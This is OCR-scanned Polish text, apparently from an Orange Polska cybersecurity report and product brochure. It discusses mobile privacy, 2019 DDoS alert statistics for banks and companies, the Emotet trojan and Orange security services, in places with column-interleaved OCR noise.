mobilne — smartfony.

Czyli problem jest - tylko dlaczego?

Od razu w gtowie rysuja mi sie scenariusze dotyczace
przechwytywania informacji bankowych w celu
zaplanowania ataku na moje skromne konto. Czy ma

to dla przestepcow jakis$ sens? Zapewne na duza skale
i u konkretnych klientéw banku tak, ale czy to jedyny
powdd? Idgc dalej mysle, ze samo urzadzenie — jego
parametry wydajnosciowe: procesor, nie byle jaka ilo$¢
pamieci operacyjnej, szerokie pasmo dostepu do inter-
netu dajg mozliwos$¢ budowania pokaznych zasobow
botnetowych oraz umozliwiajg podaz dla $wiata mocy
obliczeniowej ,na zadanie” czy piszac wprost do kopania
kryptowalut. Czytajac i analizujac zagrozenia ukierunko-
wane na nasze telefony komérkowe jestem od dawna
przekonany, ze wszystko co znajduje sie na moim tele-
fonie mija sie z pojeciem prywatnosci. Szybko rodzi sie
pojecie inwigilacji jako szerokiego zespotu czynnosci
stosowanych przez rézne grupy osob jak rzady, przeste-
pcy, terrory$ci. Stawiam sobie kolejne pytanie, jakie
informacje przetwarzatem w ciggu ostatnich 24 godzin
na swoim telefonie, kiedy pisatem e-mail, rozmawiatem
na WhatsApp, realizowatem przelew, czatowatem

z lekarzem, realizowatem recepte, robitem zakupy

lub edytowatem prywatne zdjecia moich dzieci.

Czy czuje sie komfortowo jezeli pomysle, ze dostep

do tych informacji majg inne osoby, ktérych nie znam?

Prywatnos$¢ jest prawem podstawowym. Jak napi-
sano w artykule 12 Powszechnej Deklaracji Praw
Cziowieka ,,Nie wolno ingerowa¢ samowolnie

w czyjekolwiek zycie prywatne, rodzinne, domowe,
ani w jego korespondencje, ani tez uwtacza¢ jego
honorowi lub dobremu imieniu. Kazdy cztowiek

ma prawo do ochrony prawnej przeciwko takiej
ingerencji lub uwtaczaniu.” Organizacja ONZ stoi
réwniez na strazy formuty zapewnienia prywatnosci
(ONZ, ,,Prawo do prywatnosci w erze cyfrowej”).

Od kiedy w 2013 r. Edward Snowden ujawnit

metody przechwytywania informacji na szeroka

skale przez USA i inne mocarstwa zachodnie,

nie mamy chyba zadnych watpliwosci co do tego,

ze inwigilacja jest faktem. By¢ moze zaakceptowali-
$my to bez wiekszej troski przekonaniem, ze nie mamy
nic do ukrycia. Pojawiaja sie takze gtosy, ze prawo

do prywatnosci ,znaczy juz tak wiele, ze nie znaczy
nic” (Por. K. Motyka, Prawo do prywatnosci i dylematy
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wspétczesnej ochrony praw cztowieka, Lublin 2006).
Korzystajgc zawodowo i przede wszystkim prywatnie

z internetu do$wiadczam, ze coraz czesciej portale,
aplikacje wymagajg ode mnie wiecej danych, aby moc
z nich korzystaé. Przyktadem moga by¢ dane, ktore

sg wymagane podczas tworzenia konta na réznych
portalach. Uzytkownicy nieustannie wyrazajg zgode

na podawanie okreslonych danych bez dokfadnego
przeczytania i zastanowienia sie po co? Gdy naruszana
jest prywatnos¢, inne prawa cztowieka tracg na wartosci.
Codziennie, wiele artykutow na $wiecie opisuje masowe
wycieki wrazliwych danych, w tym autoryzacyjnych.

To pokazuje, ze nasze informacje nie sg do konca
bezpieczne. Zawsze mozemy korzystac z takich
serwisow jak https://haveibeenpwned.com, aby
sprawdzi¢ czy nasze dane nie zostaty przejete

przez przestepcow.

A co z bezpieczenstwem urzadzen
mobilnych?

Caly czas moéwimy o zabezpieczaniu sieci, aplikacji,
ochronie danych osobowych, ale kazdy koncentruje sie
na swoich serwerach i skromnym notebooku. Czy oby
zaklejamy wtasciwa kamere chcac czuc sie bezpieczniej?
Najczestsze zagrozenia kierowane na uzytkownikéw sieci
mobilnej to ztosliwe oprogramowanie i phishing. Ztosliwe
oprogramowanie, to np. wirusy, oprogramowanie szpie-
gujace, trojany lub réznego rodzaju robaki. Oznacza to,
ze inne osoby moga kopiowaé moje dane, kras¢ hasta
lub nagrywac z kamery mojego aparatu. Z kolei phishing,
ktéry poprzez e-mail trafia do mojego telefonu jest narze-
dziem wykorzystanym przez przestepcow do kradziezy
cudzej tozsamosci i proby uzycia tej formy na mnie.
Propozycja zazwyczaj polega na nakfonieniu ofiary do
podania przestepcom danych autoryzacyjnych lub
zachecenia jej do instalaciji pliku, ktory okazuje sie
ztosliwym oprogramowaniem. Oba te zagrozenia sa
obecnie wykorzystywane do celéw przestepczych m.in.
do szpiegowania lub dyskredytowania niektérych grup
spotecznych i znanych oséb. Problem to gtdéwnie nasza
niefrasobliwos$c¢ i brak zrozumienia, jak funkcjonuje
technologia. Przyktadem moze by¢ standard szyfrowania
danych, z ktérego jednak wiekszos$¢ uzytkownikéw
telefonii komoérkowej z dostepnym systemem operacyj-
nym nie moze skorzystaé. Tego typu telefony w swojej
podstawowej konfiguracji dostarczonej przez producenta
nie posiadajg mechanizméw szyfrowania korespondenciji
w rozmowach audio i z wykorzystaniem krétkich wiado-
mosci tekstowych czy multimedialnych (SMS, MMS).
Tym samym uzytkownicy nie majg do konca $wiado-
mosci czy ich wirtualna codziennos¢ jest bezpieczna.

Jak zrobié¢ krok dalej? Jak ustrzec uzytkownikéw przed
mozliwymi infekcjami ztosliwym oprogramowaniem

czy atakami z wykorzystaniem socjotechniki. Producenci,
witasnie po to wprowadzili mechanizmy auto uaktualnien.
Czesto zapominamy o bezpieczenstwie naszych danych,
zwtaszcza w urzgdzeniach mobilnych.

Wiekszo$¢ rozmdw przeprowadzonych z naszymi klien-
tami wskazuje na rozwigzania MDM. Przede wszystkim

dla potrzeb zdalnego zarzadzania telefonem, szybkiego ktéra identyfikuje, blokuje i udostepnia raporty
kasowania jego zawartosci (wymazania), identyfikaciji o prébach potaczen z zagrozeniami (m.in. malware,
jego potozenia, ale rzadziej w kierunku analizowania ransomware, phishing) z telefonéw komdrkowych
czy telefon jest juz zainfekowany, czy zarzadza nim i adresow IP dziatajgcych w sieci Orange Polska.
przestepca (ztosliwe oprogramowania) czy wiasnie Blokuje ona kontakt naszego telefonu z zagrozeniem.
kliknatem w link i jestem na fatszywej stronie mojego Ustuga oparta jest o wiedze, doswiadczenie i codzienna
banku. Na kamerze w telefonie nie mamy naklejki, prace zespotu cyberbezpieczenstwa Orange Polska.
ani mechanizméw rozpoznajacych czy tresé danego CyberWatch skutecznie blokuje zagrozenie,

SMS lub MMS jest dla nas potencjalnie niebezpieczna. kompleksowo chroni mnie w sieci zabezpieczajgc
Wierzymy, ze Swiat jest doskonaty albo myslimy, przed kradziezg moich danych. Bateria ani pamie¢
ze problem nas nie dotyczy. W aplikacjach telefonu mojego telefonu nie sa dodatkowo obcigzone.
uzywamy haset, PIN6w, ale ich nie publikujemy. Czy to nie funkcjonalnosé, ktérej wiasnie szukamy?
Czesto wyrazamy zgode na instalacje dodatkowych Jeszcze jedna korzy$¢ wynikajaca z tej ustugi — jest
rozwigzan w naszym telefonie. Mam tu na mysli te dla nas wszystkich dostepna, poniewaz jest tansza
klasy — MDM, DLP, aplikacje monitorujace pracowni- niz karta SIM. SprawdZzcie to prosze, test nic

kéw pod wzgledem przetwarzania danych stuzbowych, nie kosztuje, a naprawde warto!

ich lokalizacji, dostepne na rynku.

Rafat Wiszniewski

Po wigcej informacji skontaktuj sie ze swoim doradcg
Czyta lq Cc | ana !l Zuj q Cc gzggs u/r;g/lg%rraalfge{scczﬁ/ons lub napisz na adres
zagrozenia ukierunkowane
na nasze telefony
komorkowe jestem
od dawna przekonany,
ze wszystko co znajduje sie
na moim telefonie mija sie
Z pojeciem prywatnosci.
Szybko rodzi sie pojecie
inwigilacji jako szerokiego
zespotu czynnosci
stosowanych przez rézne
grupy osob jak rzady,
przestepcy, terrorysci.

Oferowane rozwigzania moga wpasé w rece
przestepcédw. Jak mozemy to monitorowacé?

Czy oprogramowaniem? Czy jest ono skuteczne?
Czy mam odpowiednia wiedze, aby je ocenié¢?

Funkcjonalno$é, ktéra moze mi w tym poméc jest

w sieci operatora telekomunikacyjnego. Zespoty CERT

i SOC Orange Polska majg odpowiednig wiedze

i doswiadczenie, mechanizmy i technologie niedostepnag
dla uzytkownikéw telefonéw komdérkowych, sa w stanie
skutecznie identyfikowac, blokowac i notyfikowaé
zagrozenia. Te dziatania nie koncentruja sie na mnie jako
problematycznym uzytkowniku, ktéry ,kliknat” a na
zadaniach zespotow ds. cyberbezpieczenstwa. Czyz
zagrozenia, ktore docierajg do urzgdzen mobilnych

i stacjonarnych nie robig tego wtasnie przez sie¢?
Firmom, bez specjalnego przygotowania trudno jest
spetnié¢ te wymagania. Potrzebuja ustugi CyberWatch,
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Skuteczny atak DDoS potrafi zachwia¢ ciagtoscia
dziatania firmy. Zmasowane potgczenia w kierunku
konkretnej adresacji IP powodujg wysycenie tacza lub
zasobow urzadzen sieciowych powodujac niedostepnosé
ustug sieciowych. | to zarowno w kierunku wchodzgcym
do zaatakowanej firmy, jak i blokowane sg potaczenia
wychodzace. W przypadku tych pierwszych, w zaleznosci
od zaatakowanych zasobéw klienci nie moga potgczyé
sie ze strong firmowa, dokona¢ operacji bankowych,

nie dociera poczta elektroniczna. Do tych firm, ktore
korzystajg z wirtualnych central telefonicznych nie mozna
sie dodzwoni¢. Firma, ktéra padta ofiarg ataku nie tylko
ponosi konkretne straty finansowe z tytutu niezrealizowa-
nych operacji sprzedazy, ale traci robwniez reputacje,
poniewaz brak dostepnosci strony, sklepu internetowego
czy mozliwosci dokonania operacji bankowych to temat
bardzo nosny, szybko podchwytywany przez media.
Dodatkowo zablokowana jest komunikacja wychodzaca
z firmy, wiec pracownicy nie moga wysytaé¢ maili

i korzystac z internetu, co powoduije kolejne straty.

Jednak o skutecznych atakach DDoS na polskie firmy
w ostatnim czasie jako$ cicho. Czy to oznacza, ze juz
nie wystepujg? Czy atakujgcy zmienili taktyke i dzi$
wykorzystuja inne metody atakéw odstawiajac DDoS
na boczny tor? Niekoniecznie.

Security Operations Center (SOC) Orange Polska

w ramach ustug ,,DDoS Protection Premium” oraz
»Orange Internet Protection” dba o bezpieczenstwo
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przeszto 400 polskich firm z réznych branz.
Poczagtkowo zainteresowane byty nimi tylko instytucje
bankowe. W tamtym czasie tylko one padaty ofiarami

atakow DDoS i byty w kregu zainteresowania atakujgcych.

Dzi$ przy bardzo szerokiej dostepnosci mechanizmow
atakéw i niskiej ich cenie, celem sg podmioty z réznych
sektoréw. SOC Orange Polska skutecznie chronit juz
przed atakami nie tylko klientéw, ktorzy otrzymywali
zgdania zapfaty okupu w zamian za odstgpienie od
atakéw. Dotyczyto to takze klientow, ktorzy mieli zostac
wyeliminowani z rynku przez konkurencje. W niektérych
przypadkach chodzito o doprowadzenie do obnizenia
wartosci firmy wskutek utraty dostepnosci ustug
internetowych i reputacji.

Analiza atakéw DDoS u wybranych
klientéw

Do celow przeprowadzenia analizy wybraliSmy

44 najwiekszych klientow obstugiwanych przez

SOC Orange Polska w ramach ustugi ,,DDoS Protection
Premium”. Jest to ustuga z najwyzszym zestawem
funkcjonalnosci i mechanizmoéw ochrony przed atakami,
przy ktérej SOC kazdorazowo informuije klienta

o wykrytych anomaliach i wspdlnie z klientem
podejmowana jest decyzja o uruchomieniu mitygaciji
(wtaczenie mechanizméw przeciwdziatania atakom) lub nie.

W pierwszej analizowanej grupie jest 16 instytucji
finansowych oznaczonych jako ,Bank 1-16”. W 2019 roku
tylko w przypadku jednej z nich nie odnotowalismy
alertow swiadczacych o ataku DDoS. Dla 5 instytuciji
liczba alertow przekroczyta 50 w ciggu roku — wykres
,Banki - liczba alertow”.

Banki - liczba alertow
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identyfikacja blokowanie informacja
zainfekowanych podejrzanego o zagrozeniach
urzadzen ruchu sieciowego
korzystajgcych z urzadzen
z sieci Orange stacjonarnych

i mobilnych

&

zapobieganie ustuga nie wymaga jeden miesiac
wyciekowi instalacji po stronie za darmo
firmowych Klienta

danych

Inne ustugi cyberbezpieczenstwa Orange Polska
@ MDM - zarzadzanie bezpieczenstwem smartfonéw
[®] Zarzadzany UTM - wielopoziomowa ochrona wykorzystywania internetu (firewall, antyspam, antywirus, web filtering)

E-mail Protection — ochrona dla komunikacji e-mail (antyspam, antymalware, sandbox, antyphishing)

StopPhishing — aktywne wykrywanie i blokowanie stron internetowych podszywajgcych sie pod znane marki
(zapobieganie stratom i ochrona reputaciji)

@
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Aby skorzystac z oferty, skontaktuj sie ze swoim doradcg Orange
lub napisz na adres cybsecurity@orange.com
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Dla 4 z nich warto$¢ wolumenu niepozgdanego ruchu byta
na tyle wysoka, ze zdecydowano o uruchomieniu mitygacji
ataku — wykres ,,Banki — liczba mitygacji”. Co ciekawe,
liczba alertow wcale nie wspotgrata z iloScig ztosliwego
ruchu - najwiekszy byt kierowany na banki o sredniej
rocznej liczbie alertéw w granicach 15-53 rocznie.

Banki - liczba mitygaciji

¥ Bank 8 M Bank 5
Hl Bank 9 M Bank 11

W 2019 roku ofiarg atakow DDoS padta jedna czwarta
chronionych przez SOC Orange Polska bankow.
Przy braku skutecznej obrony ustugi bankowosci
elektronicznej tych instytucji bytyby niedostepne

dla klientéw, zas informacja o tym na pewno trafitaby
na pierwsze strony gazet i portali. Bytby to rowniez
chwytliwy temat w social media.

Odrebnym zakresem analizy objeli$my banki spét-
dzielcze — z zaawansowanej ustugi ,,DDoS Protection
Premium” korzysta ich obecnie 11. Dla potowy z nich
wystepowaty anomalie Swiadczace o prdobach
wysycenia tacza, natomiast byly one na tyle
niegrozne, ze nie zdecydowano sie na uruchomienie
mechanizméw powstrzymywania atakdw.
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Banki spétdzielcze
- liczba alertéw

W kazdym przypadku wystapienia alertu SOC Orange
Polska byt w statej komunikacji z przedstawicielami
bankéw. Wspdlnie byt analizowany i na biezaco
weryfikowany wptyw wzmozonego ruchu na dostepnosé
ustug bankowych. Pod wzgledem liczby alertéw, 2 banki
spotdzielcze moglyby zosta¢ umieszczone w Srodkowej
stawce najwiekszych polskich instytucji finansowych
wykres - ,,Banki Spotdzielcze - liczba alertéw”.

Ostatnim analizowanym obszarem sg najwieksze firmy
innych niz finansowa branz. Tutaj roczna liczba alertéw
byta nieco mniejsza niz w przypadku najwiekszych
bankow, ale tylko 4 firmy sposréd 17 chronionych przez
SOC Orange Polska nie odnotowato alertéw mogacych
$wiadczy¢ o wystagpieniu ataku DDoS - wykres ,,Pozostate
podmioty: liczba alertéw”. W tym miejscu warto zwrdcié
uwage na fakt, ze ustuga ,,DDoS Protection Premium”
dla klientébw oznaczonych jako ,Energetyka 2” oraz
~Samorzad 2” zostata uruchomiona pod koniec

2019 roku.

Najwieksza liczba alertéw przypadta w udziale
podmiotom z sektora dostawcéw tresci, ustug IT
oraz podmiotom z sektora energetycznego i logistyki.
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Ustugi IT 1
Energetyka 1
Ustugi IT 2
Logistyka 1
Ustugi IT 3

Dostawca tresc

Az 4 podmioty padty ofiarami tak duzego wolumenu ataku-
jacego ruchu, ze konieczne byto uruchomienie dodatkowej
ochrony — wykres ,Pozostate podmioty - liczba mitygacji”.
Zachodzi tu podobna prawidtowos$¢ jak w przypadku
najwiekszych instytucji finansowych — az 25% chronionych
przez SOC Orange Polska firm padtoby ofiarami zmasowa-
nego ataku DDoS, gdyby nie zaméwity takiej ustugi.

Podobna, jak w przypadku najwiekszych bankdéw jest rowniez
prawidtowos$¢ dotyczgca liczby mitygacji versus liczba alertow:
najwieksza liczba mitygacji (poza ,Ustugi IT 1”) uruchamiana
byta dla firm ze $rednia liczba alertéw w ciagu roku.

Pozostate - liczba mitygacji

[ Dostawcatresci2 B e-Commerce 1
Healthcare [ UstugiIT 1

Ustugi IT 4
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Pozostate podmioty - liczba alertow
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Istotne jest rowniez to, ze liczba atakdéw DDoS o
znaczacym wolumenie ruchu zagrazajgcym ciagtosci
dziatania firm z grupy ,,Pozostate” byta znaczaco wyzsza,
niz liczba atakéw na najwieksze banki! Wykresy obrazujg
w sposob jednoznaczny, ze dzi$ juz zadna z firm nie moze
czuc sie bezpiecznie i ataki DDoS moga dotkngé pod-
mioty z réznych branz. | co ciekawe, wcale nie musza to
by¢ instytucje finansowe czy firmy z obszaru e-Commerce
udostepniajgce internetowe platformy do dokonywania
zakupow, ktére jak mogtoby sie wydawac, sg najbardziej
narazone na bezposrednie straty z tytutu niedostepnosci
ustug internetowych.

Krzysztof Biatek

Po wiecej informacji skontaktuj sie ze swoim doradcg
Orange i Integrated Solutions lub napisz na adres
cybsecurity@orange.com
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Mobile Device Management

Urzadzenia mobilne maja swojego Zarzadzanie urzadzeniami mobilnymi

menedzera

Zaden z segmentéw rynku nie rozwija sie tak szybko
jak mobilny. Szybki rozwdj technologii oznacza szybszy
wzrost liczby potencjalnych zagrozen. Obserwujemy
wiec trend poszukiwania jednego rozwigzania, ktore
pozwoli firmom kompleksowo zabezpieczaé i zarzadzaé
nie tylko smartfonem i tabletem, ale rowniez laptopem,
desktopem, inteligentnym zegarkiem czy czujnikiem.
Kategoria tych systemoéw nazwana zostata Mobile
Device Management — (MDM).

Ustuga ta dostepna w ofercie Orange, pozwala w petni
zarzadzac¢ dowolnymi urzadzeniami, na ktére klienci

sie zdecyduja i je zabezpieczac. Co szczegdlnie istotne,
nie wymaga od klientow zapewnienia infrastruktury

i nie powoduje kosztow jej utrzymania. Klient

po zamowieniu ustugi otrzymuje dane pozwalajgce

na uwierzytelnienie w panelu zarzagdzania oraz
niezbedne licencje na urzadzenia, ktére majg byé
objete ochrong. Rozwigzanie dostepne jest rowniez

w wersji on-premise (na serwerach klienta).

Bezpieczenstwo to potrzeba numer jeden w firmach

i organizacjach, ktdre stajg sie coraz bardziej $wiadome
potencjalnych zagrozen. Niestety obecny stan zabezpieczen
w polskich firmach nie jest idealny — nie stosujg one
odpowiednich $rodkéw czy narzedzi do ochrony wrazliwych
danych firmowych. Wiadomo, ze dzi$ juz zwykty antywirus
na smartfonie nie wystarczy — nie ustrzeze on nas przed
wiekszosciag zagrozen, poniewaz nie daje mozliwosci
doktadnej konfiguracji polityk bezpieczenstwa, wymuszania
haset, geolokalizacji urzgdzenia, czy zdalnego usuwania
danych zgromadzonych na smartfonie. W kontekscie
bezpieczenstwa danych na pewno warto wspomnieé

o ochronie prywatnosci. Orange MDM wspiera w tym zakresie
m.in. rozwigzanie Android Enterprise, ktdre pozwala na
podziat danych na urzadzeniu na czes$¢ prywatng i stuzbowa.
To bardzo wazny watek z perspektywy uzytkownika, ale
takze biznesu. Réwnolegle, rozwigzanie ma mozliwos¢
zarzadzania aplikacjami, jak tworzenie firmowego sklepu

z aplikacjami widocznymi dla wybranych urzadzen,

ich biatej i czarnej listy itp.

Najwazniejsza korzyscia dla firmy jest to, ze ustuga
Orange MDM zapewnia bezpieczenstwo i integralno$¢
danych zgromadzonych na urzadzeniach mobilnych jej
pracownikéw. W wielu przypadkach sa to informacije
dotyczace klientéw, poufne dane firmowe, a czasem
nawet tajne informacje przesytane przez pracownikéw
instytucji publicznych.

Wazna korzyscig jest zapewnienie centralnego systemu
do zarzadzania tymi urzadzeniami — od zmian

w ustawieniach telefonu, przez bezpieczng instalacje
aplikaciji i ich uaktualnien, po sesje zdalnej pomocy

z przejeciem ekranu i klawiatury urzadzenia. Co istotne,
ustuga moze zintegrowac sie z istniejaca infrastruktura IT, e
wzbogacajac istniejgce systemy o dodatkowe wartosci KorZVSCI-
zwigzane z informacjami o flocie mobilnej. Dobrym

przyktadem sg integracje z systemami bezpieczenstwa, B

Mobile Device Management — MDM - to rozwigzanie, dzigki ktéremu w prosty sposéb mozesz zarzgdzac flotg
urzadzen mobilnych w swojej firmie i chronic firmowe dane.

usprawnienie procesow
administracyjnych
i serwisowych

kontrola nad urzgdzeniami mobilnymi

poprzez zarzadzanie z centralnej konsoli _@_

ktére otrzymujgc dane o smartfonach i tabletach

z systemu MDM Orange Polska, lepiej analizujg
potencjalne zagrozenia pojawiajace sie w firmowej sieci.
oszczednosé czasu i kosztow dzieki wdrozeniu
jednej platformy zarzadzania wieloma
systemami operacyjnymi

zwiekszenie bezpieczenstwa
informaciji i danych przechowywanych

Popyt na systemy przeznaczone do zarzadzania @
na urzadzeniach mobilnych

urzadzeniami koncowymi z miesigca na miesigc rosnie.
Popularnosc¢ te zawdzieczajg rozwojowi mozliwosci
smartfonow, ich szybkos$ci dziatania i rosnacej pamieci,
korzystaniem z emaili na smartfonach, dostepnosci aplikacji,

ktérych pracownicy uzywaja na stuzbowych urzadzeniach.

Aby skorzystac z oferty, skontaktuj sie ze swoim doradcg Orange
lub napisz na adres cybsecurity@orange.com.

Wiecej o rozwigzaniu MDM Orange Polska:
https://www.orange.pl/view/mdm

www.cert.orange.pl
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Cyber rok okiem Integrated Solutions

Pracujac na co dzien z duzymi organizacjami,
obserwujemy trzy rodzaje cyberzagrozen, ktérych liczba
stopniowo rosnie, i z ktérymi coraz czesciej borykaja

sie nasi klienci. Po pierwsze - nasila sie dziatanie
~Kryptokoparek” — to nadal potencjalnie duzy zysk

dla przestepcow. Po drugie botnety, czyli komputery
infekowane ztosliwym oprogramowaniem. A po trzecie
ataki na urzadzenia mobilne — nasilenie sie tego zjawiska
idzie w parze z rosnaca liczba urzadzen.

Nadal grozny jest takze malware. Najbardziej
spektakularny atak na sektor finansowy w 2019 roku,
komentowany takze przez klientéw, to atak poprzez
Malware Emotet — zaawansowany trojan bankowy,
ktory jest mutacja istniejacych wczesniej trojanow

i potrafi zmienia¢ sie w czasie. Praktycznie codziennie
pojawiaty sie setki nowych zainfekowanych dokumentéw
umieszczonych na serwerach przestepcow. W pierwszej
fazie ataku wykorzystywano e-mail z linkiem

do zawirusowanego dokumentu, a nastepnie — po zain-
fekowaniu catej stacji — malware potrafit wykradaé

m.in. uzywane w systemie hasta, zbiera¢ informacje

o systemie i jego otoczeniu, a takze rozprzestrzeniaé sie
po organizacji przez protokét SMB.

Klienci coraz czesciej dopytujg takze o poziom zabezpie-
czenia rozwigzan chmurowych w kontekscie RODO.

To zrozumiate, patrzac na dynamike rozwoju rynku cloud

i rosngce zainteresowanie cyberprzestepcow tym obsza-
rem. A tu zarébwno IS, jak i Orange moga sie pochwali¢
zdobyciem wszystkich niezbednych certyfikacji miedzyna-
rodowych w tym zakresie i nieustajgca obserwacja nowych
zagrozen oraz skutecznych metod walki z nimi. Jako
nieliczni na polskim rynku mamy certyfikat zgodnosci

z norma ISO 27018 dot. przetwarzania danych osobowych
w chmurze. Gwarantujemy bezpieczenstwo na wielu
ptaszczyznach. Integrated Solutions jako spotka z Grupy
Orange ma te unikalng przewage, dzieki ktérej moze
oferowac rozwigzania end-to-end firmom o réznym stopniu
cyfryzaciji. Takich projektéw w 2019 r. wdrozyliSmy

co najmniej kilkanascie. Poczawszy od bezpiecznych faczy
telekomunikacyjnych, a skonczywszy na ochronie urzadzen
koncowych. W ciggu ostatniego roku zrealizowali$my

m.in. wielodomenowy projekt dla jednego z wiekszych
klientéw z branzy ubezpieczeniowej. Obejmowat on
dostawe oraz zabezpieczenie infrastruktury teleinformatycznej
klienta poczawszy od sieci WAN, LAN we wszystkich
oddziatach, dwdch Data Center, a skofczywszy na zdalnym
bezpiecznym dostepie. Wdrozylismy takze ochrone
systemu DNS oraz uruchomili§my wykrywanie anomalii

i atakdw za pomoca protokotu netflow.

Konsekwentnie zwiekszamy zakres kompetencji IS

w obszarach, w ktérych wczesniej nie dziatalismy, tj. ochrona
sieci przemystowych (OT), czy systemy ochrony chmury
CASB (Cloud Access Security Broker). Dzieki temu mozemy
przewidzie¢ coraz nowsze zagrozenia i chroni¢ klientow
przed atakami cyberprzestepcow.

Pamietajmy jednak, ze nie ma ,uniwersalnego
rozwigzania bezpieczenstwa”. Do kazdego Klienta
konieczne jest okreslone podejscie, ktére uwzgledni
charakter ustug doradztwa, projektowania, wdrazania,
zarzadzania i utrzymania. Wspomagajg nas w tym nasi
miedzynarodowi partnerzy tj. Cisco, Check Point,

F5 Networks, Palo Alto Networks, Infoblox, Fortinet.

Aleksander Jagosz
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Jak chronic¢ firme mata i duza przed zagrozeniami
w sieci? Jak zabezpieczy¢ instytucje publiczna,
a jak finansowa? - skorzystaj z ustug
bezpieczenstwa Orange Polska

Coraz wieksze wykorzystanie systemow teleinformatycznych we wszystkich
aspektach prowadzenia dziatalnosci biznesowej powoduje wzrost wartosci
informacji i koniecznos$¢ ich skutecznej ochrony. Tu liczy sie czas reakcji na
potencjalne zagrozenia, mogace mie¢ wptyw na prowadzony przez nas biznes.

Internet Rzeczy przenika nasze codzienne zycie, a zagrozenia z tym zwigzane sa coraz bardziej odczuwalne. To wyzwanie jesli
chodzi o zapewnienie bezpieczenstwa, zwtaszcza ze wzgledu na staby wcigz poziom zabezpieczen ,inteligentnych” urzadzen
oraz mozliwo$¢ wykorzystania ich do atakow DDoS (Distibuted Denial of Service). Przeprowadzenie tego typu atakéw jest bardzo
kosztowne, mozemy sie spodziewac rosnacej dostepnosci rozwigzan oferujgcych ataki ,as-a-service”. Internetowi przestepcy
stajg sie coraz bardziej przebiegli i bezwzgledni. Aby im przeciwdziataé, potrzeba wspdtpracy firm z ekspertami od bezpieczen-
stwa w sieci. Orange Polska oferuje ustugi, dzieki ktérym zminimalizujesz ryzyko w sytuacji wielu rodzajéw zagrozen.

Ochrona przed atakami DDoS

Co to sa ataki
DDoS (Distributed Rozproszone ataki, ktére majg na celu zablokowanie dostepu do zasobdw, a najczesciej:
Denial of Service): m Ataki na pasmo potrzebne do $wiadczenia ustugi, np. ICMP/UDP,
B Ataki na wyczerpanie zasobdéw systemu, np. TCP SYN,
B Ataki na aplikacje np. ataki z wykorzystaniem protokotu http, DNS czy protokotéw
aplikacji VolP

Na czym polega: Ochrona zasobdw internetowych klienta przed wolumetrycznymi atakami odmowy dostepu.
Ruch sieciowy jest monitorowany w trybie 24/7/365 pod katem wykrywania anomalii. W przypadku
faktycznego ataku filtrujemy podejrzane pakiety, a do klienta trafia jedynie prawidtowy ruch sieciowy.
Wykorzystywane mechanizmy FlowSpec w sieci Orange pozwalajg na przyjecie i mitygacje atakéw
wolumetrycznych o bardzo duzej wielkosci.

Jak dziata: To potaczenie trzech elementow: zespotéw SOC i CERT Orange Polska, platformy Arbor Networks,
oraz wykorzystania mechanizmdw operatorskich w ruchu krajowym i miedzynarodowym (blackholing,
zarzadzanie konfiguracjg ruteréw).

Korzysci: m Zapewnienie dostepnosci ustug w internecie

m Staty monitoring ruchu i identyfikacja wystapienia potencjalnych zagrozen

m Kompetencje specjalistow z Security Operations Center dostepne w trybie 24/7/365

m Natychmiastowe odparcie ataku od infrastruktury klienta

m Brak koniecznosci inwestowania w odpowiednig infrastrukture i elastyczny model rozliczania

Firewall (Orange Network Security, Zarzadzany UTM)

Na czym polega: Zwieksza bezpieczenstwo korzystania z internetu przez klientow sktada sie z dwdch komponentow:
m Systemu klasy Next Generation Firewall stuzgcego do ochrony ruchu przychodzgcego
i wychodzacego
m Portalu do zarzadzania ustuga przez klienta

Jak dziata: Kontrola praw dostepu do infrastruktury klienta oraz korzystania z internetu przez pracownikéw
bez konieczno$ci instalacji dodatkowego sprzetu. Narzedzia do kontroli aplikacji i filtracja www
decyduije o rodzajach aplikacji i kategoriach stron dostepnych dla uzytkownikow.
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Korzysci: B Bezpieczny dostep do internetu
B Brak inwestycji w infrastrukture po stronie klienta
B Scentralizowana polityka bezpieczenstwa dla wszystkich chronionych lokalizacji

email Protection

Na czym polega: Ochrona poczty klienta przed infekcjami, phishingiem, spamem i wyciekiem danych.

Jak dziata: Polega na wykorzystaniu gotowej platformy w sieci Orange Polska. Funkcjonalnosci ustugi to:
m  Anty malware

Anty phishing

Anty spam

Anty wirus

DLP

m Ochrona informacji przekazywanych drogg elektroniczng

B Rozwigzanie nie wymaga inwestycji w infrastrukture po stronie klienta

m Brak inwestycji w infrastrukture po stronie klienta

m Scentralizowana polityka bezpieczenstwa dla wszystkich chronionych lokalizacji

Jak dziata: B Zarzadzanie flota mobilng poprzez konsole,
B Centralne zarzadzanie:
- urzadzeniami mobilnymi - lokalizacja, konfiguracja, backup, zdalne blokowanie czyszczenie danych,
- aplikacjami - centralne repozytorium aplikacji, zdalna dystrybucja i instalacja aplikacji dla grup
uzytkownikéw
- tworzeniem kopii zapasowych najwazniejszych danych dostepnych na urzadzeniu mobilnym
- polityka bezpieczenstwa
— zdalnym wsparciem technicznym

Korzysci: m Centralne zarzadzanie urzadzaniami mobilnymi w firmie
B Standaryzacja

Monitorowanie incydentow bezpieczenstwa

Co to jest: Staty proces zarzgdzania incydentami bezpieczenstwa, w tym notyfikacja oséb odpowiedzialnych
za zarzadzanie infrastrukturg klienta.

Na czym polega: Na wykorzystaniu odpowiednich algorytmoéw (scenariuszy bezpieczenstwa) wyszukiwania informacji
w logach monitorowanych systemow.

Dostepne rozwigzania stosowane osobno lub w pakiecie:
SIEM as a Service

Kiedy stosowac: Chcesz identyfikowaé incydenty w catej infrastrukturze, miec o nich dane w jednym miejscu i skutecznie
nimi zarzadzac.

Na czym polega: Udostepnienie funkcjonalnosci systemu SIEM dla klienta w celu zbierania istotnych zdarzen z systeméw
i aplikaciji, ich korelacji w poszukiwaniu incydentéw bezpieczenstwa.
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Jak dziata: Dostarczenie kompletnego rozwigzania, w celu monitorowania w trybie 24/7/365, integracja zrédet
logdw, opracowanie i wdrozenie scenariuszy bezpieczenstwa

Dla kogo: Dla wszystkich odpowiedzialnych za utrzymanie infrastruktury i danych, przede wszystkim Operatoréw
Kluczowych zgodnie z Ustawg o Krajowym Systemie Bezpieczenstwa (KSC).

B State monitorowanie i identyfikacja incydentow bezpieczenstwa

B Gotowe zestawy scenariuszy bezpieczenstwa dla systemow klienta

B Centralna baza wiedzy o monitorowanych systemach

B Elastyczny model szyty na miare tzn. mozliwo$¢ uruchomienia u klienta lub w modelu chmurowym

SOC as a Service

Kiedy stosowac: Chcesz scentralizowaé operacje bezpieczenstwa by szybko reagowac na potencjalne zagrozenia.

